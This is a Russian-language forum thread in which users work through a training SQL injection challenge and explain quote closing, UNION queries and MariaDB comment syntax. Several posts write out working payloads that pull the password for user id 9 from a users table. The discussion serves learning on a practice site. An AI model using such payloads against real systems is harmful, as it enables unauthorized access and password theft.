PDA

Просмотр полной версии : [2] Давайте учиться SQL-инъекциям вместе!


iBragimoff
18.08.2019, 18:44
Предыдущая статья - ссылочка (https://forum.antichat.xyz/threads/568820/)
Основной сайт: Trainings – Main
Ссылка на задание: SQL injection challenge

Давайте решим вторую задачу. С ней у меня вроде получилось, но очень криво. Давайте приступим.

https://forum.antichat.xyz/attachments/4851719/img_e0b0081c21.png

Она схожа с предыдущей, но в этом случае текст из поля ввода подставляется в переменную $text.
Как видите на картинке, я пытался закрыть кавычки, после вывести все пароли из таблицы users, а остальное закомментировать двумя тире.
Но выдаёт ошибку. Попрошу тех кто разбирается объяснить почему команда не правильная.
Я решил задачу по другому: ' OR 1=1 -- ', только она выдаёт весь список, а нам нужен 9 ID.
Как подчеркнул в предыдущей статье explorer, данный способ не корректный, потому что в базе могут быть тысячу и больше ID.



Заметил, что предыдущую публикацию поддержали трое, но лишь один написал в комментариях. Если вы хотите чему то научиться, а не просто копировать и вставлять ответы ради баллов пустышек, то начните дискуссировать с нами и возможно мы придём к правильному решению

mrOkey
18.08.2019, 18:52
iBragimoff сказал(а):

Попрошу тех кто разбирается объяснить почему команда не правильная.


Потому что у тебя тут MariaDb, там символ комментария ставится иначе.

mrOkey
18.08.2019, 18:56
iBragimoff сказал(а):

Я решил задачу по другому: ' OR 1=1 -- ',


Это кстати неверное решение)

И не плодите темы. Пишите в одной

iBragimoff
18.08.2019, 18:58
mrOkey сказал(а):

Это кстати неверное решение)





iBragimoff сказал(а):

Как подчеркнул в предыдущей статье explorer, данный способ не корректный, потому что в базе могут быть тысячу и больше ID.

iBragimoff
18.08.2019, 19:02
mrOkey сказал(а):

Потому что у тебя тут MariaDb, там символ комментария ставится иначе.


На MariaDB используются тире и хештег, но в обоих случаях решение не верное.

iBragimoff
18.08.2019, 19:06
mrOkey сказал(а):

И не плодите темы. Пишите в одной


Простите, но я откажу в вашей просьбе.

explorer
18.08.2019, 19:27
Опять одни и те же грабли - запрос плохой, очевидно же, что так выведется ВСЁ, а всего может быть тысячи строк.
Вот решение:
' union SELECT pass,2,3 FROM users WHERE id=9 -- -
В задании написано - Поля: id, login, pass
Тут уже очевидная подсказка - полей 3 штуки. Значит нужно использовать union для объединения, опять же указывая условие. Таким образом получится вывести в одну строку ответ.

iBragimoff
18.08.2019, 19:28
explorer сказал(а):

Опять одни и те же грабли - запрос плохой, очевидно же, что так выведется ВСЁ, а всего может быть тысячи строк.
Вот решение:
' union SELECT pass,2,3 FROM users WHERE id=9 -- -
В задании написано - Поля: id, login, pass
Тут уже очевидная подсказка - полей 3 штуки. Значит нужно использовать union для объединения, опять же указывая условие. Таким образом получится вывести в одну строку ответ.


Спасибо! А почему в конце три тире?

explorer
18.08.2019, 19:36
iBragimoff сказал(а):

Спасибо! А почему в конце три тире?


Специально для начинающих, недавно делал статью (https://forum.antichat.xyz/threads/568720/) там про дефис и не только. Это поможет разобраться.

mrOkey
18.08.2019, 19:41
explorer сказал(а):

Специально для начинающих, недавно делал статью (https://forum.antichat.xyz/threads/568720/) там про дефис и не только. Это поможет разобраться.


третий дефис как бы не нужен, достаточно пробела

explorer
18.08.2019, 19:45
mrOkey сказал(а):

третий дефис как бы не нужен, достаточно пробела


В статье об этом написано После двух дефисов обязательно должен идти пробел и потом можно писать любой комментарий.
Пробел не очевиден, поэтому чтобы его не упустить и добавляют третий дефис, или просто + вместо пробела, дело привычки.

mrOkey
18.08.2019, 20:02
explorer сказал(а):

В статье об этом написано После двух дефисов обязательно должен идти пробел и потом можно писать любой комментарий.
Пробел не очевиден, поэтому чтобы его не упустить и добавляют третий дефис, или просто + вместо пробела, дело привычки.


я знаю, кстати возвращаесь к моему коммментарию, если поставить хэштег\шарп\диез можно не ставить после пробел

Citizen0
19.08.2019, 14:18
Зачем тут union, если можно просто написать




SQL:



'
OR
id
=
9
#


Тогда запрос будет




SQL:



SELECT
*
FROM
users
WHERE
id
=
2
OR
login
=
''
OR
id
=
9
#'

explorer
19.08.2019, 16:56
Citizen0 сказал(а):

Зачем тут union, если можно просто написать




SQL:



'
OR
id
=
9
#


Тогда запрос будет




SQL:



SELECT
*
FROM
users
WHERE
id
=
2
OR
login
=
''
OR
id
=
9
#'


Всё верно, это самый короткий вариант. Решений много

https://forum.antichat.xyz/attachments/4851798/11.png

HebiNeco
01.09.2019, 17:11
Здравствуйте. Разве переменной $text не присваивается значение запроса? Т.е. почему не сработает $text= SELECT login FROM users WHERE id=9;
Т.е. запрос должен выглядеть следующим образом:
SELECT * FROM users WHERE id=2 OR login='somelogin (Ответ на запрос)' -- -'.
Почему тогда запрос выглядит так? Подставленное значение переменной выходит за кавычки условия.
SELECT * FROM users WHERE id=2 OR login='' UNION SELECT * FROM users WHERE id=9 -- -'

HebiNeco
01.09.2019, 17:30
HebiNeco сказал(а):

Здравствуйте. Разве переменной $text не присваивается значение запроса? Т.е. почему не сработает $text= SELECT login FROM users WHERE id=9;
Т.е. запрос должен выглядеть следующим образом:
SELECT * FROM users WHERE id=2 OR login='somelogin (Ответ на запрос)' -- -'.
Почему тогда запрос выглядит так? Подставленное значение переменной выходит за кавычки условия.
SELECT * FROM users WHERE id=2 OR login='' UNION SELECT * FROM users WHERE id=9 -- -'


Разобрался. Закрываем поле login=' первой кавычкой в запросе переменной, после чего идет другой запрос, поставленный через UNION, а вторую кавычку login='' отбрасываем комментарием. Таким образом запрос преобретает вид:
SELECT * FROM users WHERE id=2 OR login='' UNION SELECT * FROM users WHERE id = 9 -- -
Не гнобите, все мы учимся) А свой вопрос с ответом оставлю для таких же внимательных)

iBragimoff
01.09.2019, 23:35
HebiNeco сказал(а):

Разобрался. Закрываем поле login=' первой кавычкой в запросе переменной, после чего идет другой запрос, поставленный через UNION, а вторую кавычку login='' отбрасываем комментарием. Таким образом запрос преобретает вид:
SELECT * FROM users WHERE id=2 OR login='' UNION SELECT * FROM users WHERE id = 9 -- -
Не гнобите, все мы учимся) А свой вопрос с ответом оставлю для таких же внимательных)


Никто никогда не будет гнобить того кто стремится к знаниям)